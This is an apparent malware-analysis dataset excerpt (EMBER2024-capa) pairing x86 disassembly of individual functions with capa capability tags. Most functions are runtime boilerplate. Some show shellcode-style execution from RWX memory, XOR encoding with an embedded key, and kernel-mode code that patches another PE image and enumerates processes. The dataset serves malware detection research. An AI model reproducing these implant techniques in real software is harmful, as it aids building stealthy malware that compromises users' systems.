joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48680f
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b151b
mov eax, dword fs:[0]
push eax
mov eax, 0x385c
call fcn.0049b640
mov eax, dword [0x4d5474]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x371c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x3718], eax
lea eax, [ebp - 0x3760]
or esi, 0xffffffff
call fcn.00422600
lea eax, [ebp - 0x3710]
call fcn.0042ab52
xor edi, edi
mov dword [ebp - 4], edi
mov eax, dword [0x4db494]
mov ecx, 0x4db494
call dword [eax + 0xc]
lea ebx, [eax + 0x10]
mov dword [ebp - 0x3714], ebx
push 0x18e
lea eax, [ebp - 0x19e]
push edi
mov byte [ebp - 4], 1
push eax
mov word [ebp - 0x1a0], di
call fcn.004883c0
add esp, 0xc
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, edi
jne 0x486987
mov edi, dword [ebp - 0x371c]
lea eax, [ebp - 0x3760]
push eax
lea eax, [ebp - 0x3710]
push eax
mov dword [ebp - 0x375c], str.POST
call fcn.0042ac9d
test al, al
je 0x486981
cmp dword [ebp - 0x1c4], 0xc8
jne 0x486981
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0x2648]
push dword [ebp - 0x1bc]
add ecx, eax
add ecx, dword [ebp - 0x1b4]
lea eax, [ebp - 0x3714]
push ecx
call fcn.00425acc
push 0x4b67bc
lea eax, [ebp - 0x3714]
push eax
call fcn.00425aa9
mov ebx, dword [ebp - 0x3714]
push ebx
lea esi, [ebp - 0x3864]
call fcn.004020ae
mov byte [ebp - 4], 2
push dword [eax]
push dword [ebp - 0x3718]
call fcn.00401aed
lea eax, [ebp - 0x3860]
mov byte [ebp - 4], 1
cmp dword [ebp - 0x3864], eax
je 0x486974
push dword [ebp - 0x3864]
call fcn.00488d99
pop ecx
mov eax, dword [ebp - 0x3718]
call fcn.00425b8a
xor esi, esi
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [ebx - 0x10]
mov byte [ebp - 4], 0
call fcn.0040151c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3710]
call fcn.004268de
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049148c
leave
ret
Function at 0x486a9f
Capabilities:
Encode data using xor

Disassembly:
push ebp
sub esp, 0x80
lea ebp, [esp - 4]
mov eax, dword [0x4d5474]
xor eax, ebp
mov dword [ebp + 0x80], eax
push 0x128
mov eax, 0x4b11f7
call fcn.00491b67
mov eax, dword [ebp + 0x8c]
xor ebx, ebx
mov dword [ebp - 0x18], ebx
push 0x7f
mov dword [ebp - 0x14], eax
xor edi, edi
lea eax, [ebp + 1]
push ebx
inc edi
push eax
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], 2
mov dword [ebp - 0x28], 3
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x20], 5
mov byte [ebp], bl
call fcn.004883c0
add esp, 0xc
push str.mo:_72Bilrqgb8ls5kn8z
lea esi, [ebp - 0xb4]
call fcn.004268c3
mov dword [ebp - 4], edi
mov esi, dword [eax]
cmp esi, ebx
je 0x486b56
push esi
call fcn.0048a3c0
test eax, eax
pop ecx
mov dword [ebp - 0x1c], eax
jle 0x486b56
mov dword [ebp - 0x10], esi
lea eax, [ebp]
sub dword [ebp - 0x10], eax
mov eax, ebx
cdq
push 5
pop esi
idiv esi
lea ecx, [ebp + ebx]
mov al, byte [ebp + edx*4 - 0x30]
mov edx, dword [ebp - 0x10]
xor al, byte [edx + ecx]
inc ebx
cmp ebx, dword [ebp - 0x1c]
mov byte [ecx], al
jl 0x486b38
lea eax, [ebp - 0xb0]
mov byte [ebp - 4], 0
cmp dword [ebp - 0xb4], eax
je 0x486b74
push dword [ebp - 0xb4]
call fcn.00488d99
pop ecx
lea eax, [ebp]
push eax
lea esi, [ebp - 0x134]
call fcn.004020ae
mov dword [ebp - 4], 2
push dword [eax]
mov eax, dword [ebp - 0x14]
call fcn.00401989
lea eax, [ebp - 0x130]
mov byte [ebp - 4], 0
cmp dword [ebp - 0x134], eax
mov dword [ebp - 0x18], edi
je 0x486bb5
push dword [ebp - 0x134]
call fcn.00488d99
pop ecx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x80]
xor ecx, ebp
call fcn.0049148c
add ebp, 0x84
leave
ret

Function at 0x486dd3
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4d5474]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00486d12
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.004883c0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x486e22
cmp dword [ebp - 0x1c], 5
jb 0x486e3a
jmp 0x486e36
cmp dword [ebp - 0x10], 1
jne 0x486e3a
cmp dword [ebp - 0x1c], 4
ja 0x486e36
jne 0x486e3a
cmp dword [ebp - 0x18], 0
jbe 0x486e3a
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4b294c
call fcn.00437ea9
test eax, eax
jge 0x486e5b
mov byte [0x4dca4c], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0049148c
add ebp, 0x78
leave
ret
Function at 0x4872a3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4db4b0], 0
push esi
jne 0x487216
call fcn.00487141
test eax, eax
je 0x487259
mov eax, dword [0x4db4b0]
cmp eax, 1
jne 0x487237
push 0xd
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
test eax, eax
je 0x487259
pop esi
ret
push eax
call dword [0x4db4b8]
test eax, eax
jne 0x4872a1
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x48725d
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x4db4b0]
call dword [0x4db4b8]
mov edi, eax
test edi, edi
je 0x487284
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, edi
jmp 0x4872a0
lea edi, [esi + 0xff0]
push esi
push dword [0x4db4b0]
call dword [0x4db4b4]
add esi, 0x10
cmp esi, edi
jb 0x48728a
mov eax, esi
pop edi
pop esi
ret
jmp 0x487203

Function at 0x48a4e1
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x48a50e
call fcn.0048d98e
mov dword [eax], esi
call fcn.0048d97b
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0048a682
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x48a4ea
push dword [esp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x48a53d
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.0048d9a1
pop ecx
call fcn.0048d97b
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x48a564
test al, 1
je 0x48a564
test byte [esp + 0xc], 2
je 0x48a564
call fcn.0048d98e
mov dword [eax], 5
call fcn.0048d97b
mov dword [eax], 0xd
jmp 0x48a534
xor eax, eax
pop esi
ret
Function at 0x48efc8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ebx
je 0x48f005
cmp dword [ebp + 0x14], edi
je 0x48f005
cmp ecx, edi
jne 0x48f00c
call fcn.0048d97b
push edi
push edi
push edi
push edi
mov dword [eax], 0x16
push edi
call fcn.0048a682
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x48f020
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
jbe 0x48f041
cmp ebx, 0xffffffff
je 0x48f030
push ebx
push edi
push ecx
call fcn.004883c0
add esp, 0xc
cmp esi, edi
je 0x48efed
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
ja 0x48efed
mov edi, dword [ebp + 0x10]
imul edi, dword [ebp + 0x14]
test word [esi + 0xc], 0x10c
mov dword [ebp - 0x10], edi
mov ebx, edi
je 0x48f05d
mov eax, dword [esi + 0x18]
mov dword [ebp - 0xc], eax
jmp 0x48f064
mov dword [ebp - 0xc], 0x1000
test edi, edi
je 0x48f155
test word [esi + 0xc], 0x10c
je 0x48f0b8
mov eax, dword [esi + 4]
test eax, eax
je 0x48f0b8
jl 0x48f1b6
cmp ebx, eax
mov edi, ebx
jb 0x48f089
mov edi, eax
cmp edi, dword [ebp - 4]
ja 0x48f15d
push edi
push dword [esi]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004886d7
sub dword [esi + 4], edi
add dword [esi], edi
add dword [ebp - 8], edi
sub ebx, edi
add esp, 0x10
sub dword [ebp - 4], edi
mov edi, dword [ebp - 0x10]
jmp 0x48f14d
cmp ebx, dword [ebp - 0xc]
jb 0x48f125
cmp dword [ebp - 0xc], 0
je 0x48f0e2
mov ecx, SysReAllocString
xor edx, edx
cmp ebx, ecx
jbe 0x48f0d7
mov eax, ecx
div dword [ebp - 0xc]
mov eax, ecx
jmp 0x48f0de
mov eax, ebx
div dword [ebp - 0xc]
mov eax, ebx
sub eax, edx
jmp 0x48f0ed
mov eax, SysReAllocString
cmp ebx, eax
ja 0x48f0ed
mov eax, ebx
cmp eax, dword [ebp - 4]
ja 0x48f189
push eax
push dword [ebp - 8]
push esi
call fcn.0049dc41
pop ecx
push eax
call fcn.0049db44
add esp, 0xc
test eax, eax
je 0x48f1c8
cmp eax, 0xffffffff
je 0x48f1b6
add dword [ebp - 8], eax
sub ebx, eax
sub dword [ebp - 4], eax
jmp 0x48f14d
push esi
call fcn.0049d463
cmp eax, 0xffffffff
pop ecx
je 0x48f1ba
cmp dword [ebp - 4], 0
je 0x48f189
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
mov byte [ecx], al
mov eax, dword [esi + 0x18]
dec ebx
dec dword [ebp - 4]
mov dword [ebp - 0xc], eax
test ebx, ebx
jne 0x48f06c
mov eax, dword [ebp + 0x14]
jmp 0x48f007
xor esi, esi
cmp dword [ebp + 0xc], 0xffffffff
je 0x48f174
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.004883c0
add esp, 0xc
call fcn.0048d97b
push esi
push esi
push esi
push esi
mov dword [eax], 0x22
push esi
jmp 0x48effd
cmp dword [ebp + 0xc], 0xffffffff
je 0x48f19f
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.004883c0
add esp, 0xc
call fcn.0048d97b
mov dword [eax], 0x22
xor eax, eax
push eax
push eax
push eax
push eax
push eax
jmp 0x48effd
or dword [esi + 0xc], 0x20
mov eax, edi
sub eax, ebx
xor edx, edx
div dword [ebp + 0x10]
jmp 0x48f007
or dword [esi + 0xc], 0x10
jmp 0x48f1ba
Function at 0x49148c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4d5474]
jne 0x491496
repz ret
jmp fcn.004a1789

Function at 0x498d58
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x4d5c10]
je 0x498d73
inc edi
cmp edi, 0x17
jb 0x498d64
cmp edi, 0x17
jae 0x498ef3
push ebp
push 3
call fcn.004a397a
cmp eax, 1
pop ecx
je 0x498ebf
push 3
call fcn.004a397a
test eax, eax
pop ecx
jne 0x498da7
cmp dword [0x4d5470], 1
je 0x498ebf
cmp ebx, 0xfc
je 0x498ef2
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x4db940
push ebp
call fcn.00490c06
add esp, 0xc
test eax, eax
je 0x498ddd
push esi
push esi
push esi
push esi
push esi
call fcn.0048a586
add esp, 0x14
push 0x104
mov esi, 0x4db959
push esi
push 0
mov byte [0x4dba5d], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x498e21
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00490c06
add esp, 0xc
test eax, eax
je 0x498e21
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0048a586
add esp, 0x14
push esi
call fcn.0048a3c0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x498e66
push esi
call fcn.0048a3c0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x4dbc54
push 0x4b3d1c
sub ecx, eax
push ecx
push eax
call fcn.0049c359
add esp, 0x14
test eax, eax
je 0x498e66
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0048a586
add esp, 0x14
jmp 0x498e68
xor esi, esi
push 0x4b3d18
push ebx
push ebp
call fcn.0049c2e8
add esp, 0xc
test eax, eax
je 0x498e88
push esi
push esi
push esi
push esi
push esi
call fcn.0048a586
add esp, 0x14
push dword [edi*8 + 0x4d5c14]
push ebx
push ebp
call fcn.0049c2e8
add esp, 0xc
test eax, eax
je 0x498eaa
push esi
push esi
push esi
push esi
push esi
call fcn.0048a586
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.004a37bd
add esp, 0xc
jmp 0x498ef2
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x498ef2
cmp ebp, 0xffffffff
je 0x498ef2
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x4d5c14]
push dword [esi]
call fcn.0048a3c0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x4a37bd
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00496d52
xor ebx, ebx
cmp dword [0x4dc2c8], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x4a3893
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4a3973
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x4a3973
push eax
call fcn.00496ce4
mov dword [esp], 0x4b6188
push edi
mov dword [0x4dc2c8], eax
call esi
push eax
call fcn.00496ce4
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4dc2cc], eax
call esi
push eax
call fcn.00496ce4
mov dword [0x4dc2d0], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00498ae5
test eax, eax
pop ecx
pop ecx
je 0x4a3861
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0048a586
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x4a3893
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00496ce4
cmp eax, ebx
pop ecx
mov dword [0x4dc2d8], eax
je 0x4a3893
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00496ce4
pop ecx
mov dword [0x4dc2d4], eax
mov eax, dword [0x4dc2d4]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x4a3918
cmp dword [0x4dc2d8], ecx
je 0x4a3918
push eax
call fcn.00496d5b
push dword [0x4dc2d8]
mov esi, eax
call fcn.00496d5b
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x4a3918
cmp edi, ebx
je 0x4a3918
call esi
cmp eax, ebx
je 0x4a38e5
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4a38e5
test byte [ebp - 0x18], 1
jne 0x4a3918
lea eax, [ebp - 0x10]
push eax
call fcn.00498b1c
test eax, eax
pop ecx
je 0x4a3900
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0048a586
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x4a390f
or dword [ebp + 0x10], 0x200000
jmp 0x4a3953
or dword [ebp + 0x10], 0x40000
jmp 0x4a3953
mov eax, dword [0x4dc2cc]
cmp eax, dword [ebp - 8]
je 0x4a3953
push eax
call fcn.00496d5b
cmp eax, ebx
pop ecx
je 0x4a3953
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4a3953
mov eax, dword [0x4dc2d0]
cmp eax, dword [ebp - 8]
je 0x4a3953
push eax
call fcn.00496d5b
cmp eax, ebx
pop ecx
je 0x4a3953
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4dc2c8]
call fcn.00496d5b
cmp eax, ebx
pop ecx
je 0x4a3973
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4a3975
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402b23
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
movzx eax, word [esi + 0x14]
xor ebx, ebx
cmp word [esi + 6], bx
push edi
lea edi, [eax + esi + 0x18]
jbe 0x402b5b
push dword [esp + 0x18]
push edi
push dword [esp + 0x1c]
call dword [sym.imp.ntoskrnl.exe_RtlCompareMemory]
cmp eax, dword [esp + 0x18]
je 0x402b63
movzx eax, word [esi + 6]
add edi, 0x28
inc ebx
cmp ebx, eax
jb 0x402b3a
xor eax, eax
pop edi
pop esi
pop ebx
ret 0xc
push 0x409318
push edi
call sub.ntoskrnl.exe__stricmp
pop ecx
pop ecx
test eax, eax
jne 0x402b8a
mov esi, str.INIT
push esi
call sub.ntoskrnl.exe_strlen
push eax
push esi
push edi
call sub.ntoskrnl.exe_memcpy
add esp, 0x10
mov eax, edi
jmp 0x402b5d

Function at 0x402b8e
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
movzx eax, word [esi + 0x14]
xor ebx, ebx
cmp word [esi + 6], bx
push edi
lea edi, [eax + esi + 0x18]
jbe 0x402bc6
push dword [esp + 0x18]
push edi
push dword [esp + 0x1c]
call dword [sym.imp.ntoskrnl.exe_RtlCompareMemory]
cmp eax, dword [esp + 0x18]
je 0x402bce
movzx eax, word [esi + 6]
add edi, 0x28
inc ebx
cmp ebx, eax
jb 0x402ba5
xor eax, eax
pop edi
pop esi
pop ebx
ret 0xc
mov eax, edi
jmp 0x402bc8

Function at 0x402bd2
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push dword [ebp + 8]
xor bl, bl
call sub.ntoskrnl.exe_RtlImageNtHeader
mov edi, 0x409318
push edi
mov esi, eax
call sub.ntoskrnl.exe_strlen
pop ecx
push eax
push edi
push esi
call fcn.00402b23
mov edi, eax
test edi, edi
je 0x402ca6
mov ebx, str.INIT
push ebx
call sub.ntoskrnl.exe_strlen
pop ecx
push eax
push ebx
push esi
call fcn.00402b23
test eax, eax
mov ebx, 0xfdffffff
je 0x402c22
and dword [eax + 0x24], ebx
mov eax, dword [esi + 0x28]
mov dword [esi + 0x4c], eax
mov eax, 0x1388
push eax
mov dword [edi + 8], eax
mov eax, dword [edi + 0x14]
add eax, dword [ebp + 8]
push 0x4140a0
push eax
call sub.ntoskrnl.exe_memcpy
mov eax, dword [edi + 0xc]
add eax, 0xeae
mov dword [esi + 0x28], eax
mov eax, dword [edi + 0x24]
and eax, ebx
or eax, 0xa8000020
mov dword [edi + 0x24], eax
mov edi, dword [ebp + 0xc]
and dword [esi + 0x58], 0
add esp, 0xc
lea eax, [edi + 1]
shr eax, 1
push eax
push dword [ebp + 8]
push 0
call fcn.00402aea
movzx ecx, word [esi + 0x58]
movzx eax, ax
cmp ax, cx
sbb edx, edx
neg edx
add dx, cx
movzx ecx, word [esi + 0x5a]
mov dword [ebp + 8], eax
sub ax, dx
cmp ax, cx
sbb edx, edx
neg edx
sub ax, dx
sub ax, cx
movzx eax, ax
add eax, edi
mov dword [esi + 0x58], eax
mov bl, 1
pop edi
pop esi
mov al, bl
pop ebx
pop ebp
ret 0xc
Function at 0x40323c
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
push edi
mov edi, 0x73737373
push edi
push dword [ebp + 0xc]
xor ebx, ebx
push ebx
mov byte [ebp - 1], bl
call esi
push edi
push dword [ebp + 0xc]
mov dword [ebp - 8], eax
push ebx
call esi
push dword [ebp + 8]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push 0x18
pop esi
push ebx
push ebx
push 0x20
push 1
push 1
push 0x80
lea eax, [ebp - 0x24]
mov dword [ebp - 0x44], eax
push ebx
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0x100001
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x40], 0x40
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
call dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
cmp dword [ebp - 0xc], ebx
je 0x4033b3
push 5
push esi
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
test eax, eax
jl 0x4033b3
push 0xe
push 8
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
call dword [sym.imp.ntoskrnl.exe_ZwSetInformationFile]
cmp dword [ebp - 8], ebx
je 0x4033b0
cmp dword [ebp - 0x10], ebx
je 0x4033b0
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
shr esi, 0xc
and eax, 0xfff
xor edi, edi
cmp esi, ebx
mov dword [ebp - 0x14], eax
mov dword [ebp + 8], ecx
jle 0x403360
mov eax, dword [ebp - 8]
mov dword [ebp + 0x10], eax
push 0x12345678
push dword [ebp + 0x10]
push 0x1000
push dword [ebp + 8]
push ebx
push dword [0x41d03c]
call fcn.00402e8d
test al, al
je 0x4033ac
add dword [ebp + 8], 8
add dword [ebp + 0x10], 0x1000
inc edi
dec esi
cmp esi, ebx
jg 0x40332c
mov eax, dword [ebp - 0x14]
cmp eax, ebx
je 0x403384
push 0x12345678
shl edi, 0xc
add edi, dword [ebp - 8]
push edi
push eax
push dword [ebp + 8]
push ebx
push dword [0x41d03c]
call fcn.00402e8d
test al, al
je 0x4033ac
push dword [ebp + 0xc]
mov esi, dword [ebp - 0x10]
push dword [ebp - 8]
push esi
call sub.ntoskrnl.exe_memcpy
mov eax, dword [ebp + 0x14]
add esp, 0xc
push ebx
push dword [ebp - 0x5c]
mov dword [eax], esi
push dword [ebp - 8]
call fcn.00402bd2
mov byte [ebp - 1], al
jmp 0x4033b3
xor al, al
jmp 0x4033c7
mov byte [ebp - 1], bl
push dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x403ab5
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
push dword [ebp + 8]
xor edi, edi
mov dword [ebp - 4], edi
call sub.ntoskrnl.exe_RtlImageNtHeader
mov esi, eax
cmp esi, edi
jne 0x403ad8
mov eax, dword [ebp + 0x20]
jmp 0x403b60
movzx eax, word [esi + 0x18]
cmp eax, 0x10b
push ebx
je 0x403afb
cmp eax, 0x20b
je 0x403af0
mov eax, dword [ebp + 0x20]
jmp 0x403b5f
mov eax, dword [esi + 0x34]
mov ebx, dword [esi + 0x30]
mov dword [ebp - 8], eax
jmp 0x403b01
mov ebx, dword [esi + 0x34]
mov dword [ebp - 8], edi
lea eax, [ebp - 4]
push eax
push 5
push 1
push dword [ebp + 8]
call sub.ntoskrnl.exe_RtlImageDirectoryEntryToData
cmp eax, edi
je 0x403b53
cmp dword [ebp - 4], edi
je 0x403b53
mov esi, dword [ebp + 8]
xor edi, edi
sub esi, ebx
sbb edi, dword [ebp - 8]
add esi, dword [ebp + 0xc]
adc edi, dword [ebp + 0x10]
mov edx, dword [eax + 4]
sub dword [ebp - 4], edx
mov ecx, dword [eax]
add ecx, dword [ebp + 8]
push edi
push esi
add eax, 8
add edx, 0xfffffff8
push eax
shr edx, 1
push edx
push ecx
call fcn.00403871
test eax, eax
je 0x403aeb
cmp dword [ebp - 4], 0
jne 0x403b2a
jmp 0x403b5c
test byte [esi + 0x16], 1
mov eax, dword [ebp + 0x1c]
jne 0x403b5f
mov eax, dword [ebp + 0x18]
pop ebx
pop edi
pop esi
leave
ret 0x1c

Function at 0x4040e4
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov eax, 0x10000
push edi
xor esi, esi
xor edi, edi
mov dword [ebp - 4], eax
jmp 0x4040fb
mov eax, dword [ebp - 4]
cmp edi, eax
jae 0x40410f
sub eax, edi
push eax
push 1
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov edi, dword [ebp - 4]
mov esi, eax
lea eax, [ebp - 4]
push eax
push edi
push esi
push 0xb
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
je 0x4040f8
mov eax, dword [esi + 0xc]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
movzx eax, word [esi + 0x1e]
lea eax, [eax + esi + 0x20]
push eax
push dword [ebp + 0xc]
call sub.ntoskrnl.exe_strcpy
pop ecx
pop ecx
push 0
push esi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
pop edi
xor eax, eax
pop esi
leave
ret 8

Function at 0x4041ba
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, 0xb8000
push esi
xor edi, edi
xor ebx, ebx
call dword [ebp + 0x10]
test eax, eax
mov dword [ebp + 0x10], eax
je 0x404206
lea ecx, [ebp - 4]
push ecx
push esi
push eax
push 5
call sub.ntoskrnl.exe_ZwQuerySystemInformation
test eax, eax
jl 0x404200
mov esi, dword [ebp + 0x10]
push esi
push ebx
push dword [ebp + 0xc]
call dword [ebp + 8]
mov edi, eax
test edi, edi
jne 0x404200
mov eax, dword [esi]
inc ebx
add esi, eax
test eax, eax
jne 0x4041e9
push dword [ebp + 0x10]
call dword [ebp + 0x14]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x10